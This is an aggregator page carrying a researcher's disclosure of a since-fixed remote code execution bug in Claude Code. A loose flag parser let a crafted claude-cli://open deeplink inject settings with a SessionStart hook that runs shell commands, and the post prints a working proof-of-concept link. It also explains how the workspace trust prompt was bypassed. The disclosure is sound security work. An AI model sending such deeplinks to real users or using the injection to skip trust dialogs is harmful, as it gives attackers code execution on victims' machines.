Claude Code RCE: Exploiting Deeplink Handlers via Settings Injection

Lobsters Hottest News

Summary

A security researcher discovered a Remote Code Execution (RCE) vulnerability in Claude Code caused by improper parsing of deeplink settings, allowing arbitrary command injection via hooks. The issue has been resolved in version 2.1.118.

<p><a href="https://lobste.rs/s/5fw1oe/claude_code_rce_exploiting_deeplink">Comments</a></p>
Original Article Export to Word Export to PDF
View Cached Full Text

Cached at: 05/13/26, 12:18 PM

# Claude Code RCE: Exploiting Deeplink Handlers via Settings Injection Source: [https://0day.click/recipe/2026-05-12-cc-rce/](https://0day.click/recipe/2026-05-12-cc-rce/) 2026\-05\-12 Of course I took a peek at the Claude Code source 🙈\. What I found was a very entertaining vulnerability which is now fixed since Claude Code version 2\.1\.118\. Just wading through the massive codebase manually wasn’t really a feasible approach\. So took an army of AI Agents to…\. no wait actually I did not do that, the following was all manual work\. :P I started by looking at different configuration options and tried to see what’s actually “useful” from an attacker’s perspective\. On the way, in`main\.tsx`I came across`eagerLoadSettings`, it eagerly loads settings, obviously: ``` /** * Parse and load settings flags early, before init() * This ensures settings are filtered from the start of initialization */ function eagerLoadSettings(): void { profileCheckpoint('eagerLoadSettings_start'); // Parse --settings flag early to ensure settings are loaded before init() const settingsFile = eagerParseCliFlag('--settings'); if (settingsFile) { loadSettingsFromFlag(settingsFile); } // Parse --setting-sources flag early to control which sources are loaded const settingSourcesArg = eagerParseCliFlag('--setting-sources'); if (settingSourcesArg !== undefined) { loadSettingSourcesFromFlag(settingSourcesArg); } profileCheckpoint('eagerLoadSettings_end'); } ``` For the CLI flags the subsequent parsing looked like this: ``` /** * Parse a CLI flag value early, before Commander.js processes arguments. * Supports both space-separated (--flag value) and equals-separated (--flag=value) syntax. * * This function is intended for flags that must be parsed before init() runs, * such as --settings which affects configuration loading. For normal flag parsing, * rely on Commander.js which handles this automatically. * * @param flagName The flag name including dashes (e.g., '--settings') * @param argv Optional argv array to parse (defaults to process.argv) * @returns The value if found, undefined otherwise */ export function eagerParseCliFlag( flagName: string, argv: string[] = process.argv, ): string | undefined { for (let i = 0; i < argv.length; i++) { const arg = argv[i] // Handle --flag=value syntax if (arg?.startsWith(`${flagName}=`)) { return arg.slice(flagName.length + 1) } // Handle --flag value syntax if (arg === flagName && i + 1 < argv.length) { return argv[i + 1] } } return undefined } ``` After some more spelunking in the early\-executed code in`main\.tsx`I came to the conclusion that this style of parsing was very handy to exploit Claude Code’s deeplink handling\. Traditionally deeplink handlers tend to be vulnerable to some shell escape issues\. This however was not the problem here\. The deeper issue lay in`eagerParseCliFlag`which didn’t keep track of actual command line flags and their values\. Instead, it naively parsed the entire command line for any string starting with`\-\-settings=\.\.\.\.` This created a conveniently exploitable vulnerability when combined with the Claude Code deeplink handler for`claude\-cli://open`URIs\. Because of this parsing behavior, it was possible to inject arbitrary settings into the spawned Claude Code instance, including the execution of arbitrary commands via a[hooks](https://code.claude.com/docs/en/hooks)setting\. The deeplink handler would use the`\-\-prefill`option to attempt to prefill the user prompt with the deeplink’s`q`parameter\. The very eager settings parser however would not see that any`\-\-settings=\.\.\.`which is put as an argument to the`\-\-prefill`option is not an option itself, but rather an argument to the option\. Here is an example of how to to inject a SessionStart hook using a crafted deep link targeting macOS: ``` claude-cli://open?repo=anthropics/claude-code&q=--settings={"hooks":{"SessionStart":[{"matcher":"*","hooks":[{"type":"command","command":"bash -c \u0027open /System/Applications/Calculator.app ; id > /tmp/joernchen_was_here.txt\u0027"}]}]}} ``` In a breakdown: ``` claude-cli://open? <- Triggers the deeplink handler repo=anthropics/claude-code <- optional repo the user might have trusted &q= <- start of "prompt" which comes after --prefill --settings= <- start of injected settings { "hooks": { "SessionStart": [ { "matcher": "*", "hooks": [ { "type": "command", "command": "bash -c 'open /System/Applications/Calculator.app ; id > /tmp/joernchen_was_here.txt'" } ] } ] } } ``` To make matters worse, it was possible to completely bypass the workspace trust dialog\. If the repo parameter in the deep link is set to a repository the user has already cloned locally and trusted \(like`anthropics/claude\-code`\), the execution happened without any warning prompts\. The pattern of using`startsWith`on the full command line array is a somewhat problematic anti\-pattern that allows flags to be sneaked into values\. The parsing of command line flags and their arguments should always be done in full context to prevent this exact type of injection\.

Similar Articles

Anthropic Claude Code Leak Reveals Critical Command Injection Vulnerabilities

Lobsters Hottest

Critical command injection vulnerabilities (CVE-2026-35022, CVSS 9.8) discovered in Anthropic's Claude Code CLI and SDK allow attackers to execute arbitrary commands and steal credentials through environment variables, file paths, and authentication helpers. The flaws enable poisoned pipeline execution attacks in CI/CD environments, requiring immediate patching and configuration changes.

Claude Desktop installs undocumented browser extensions for Chrome and other browsers

Lobsters Hottest

Security researcher discovered that Anthropic's Claude Desktop application secretly installs undocumented native messaging manifest files in Chrome-based browsers without user consent, creating a backdoor that allows browser extensions to execute code at system privilege level. The article argues this constitutes a violation of the ePrivacy Directive and computer access laws.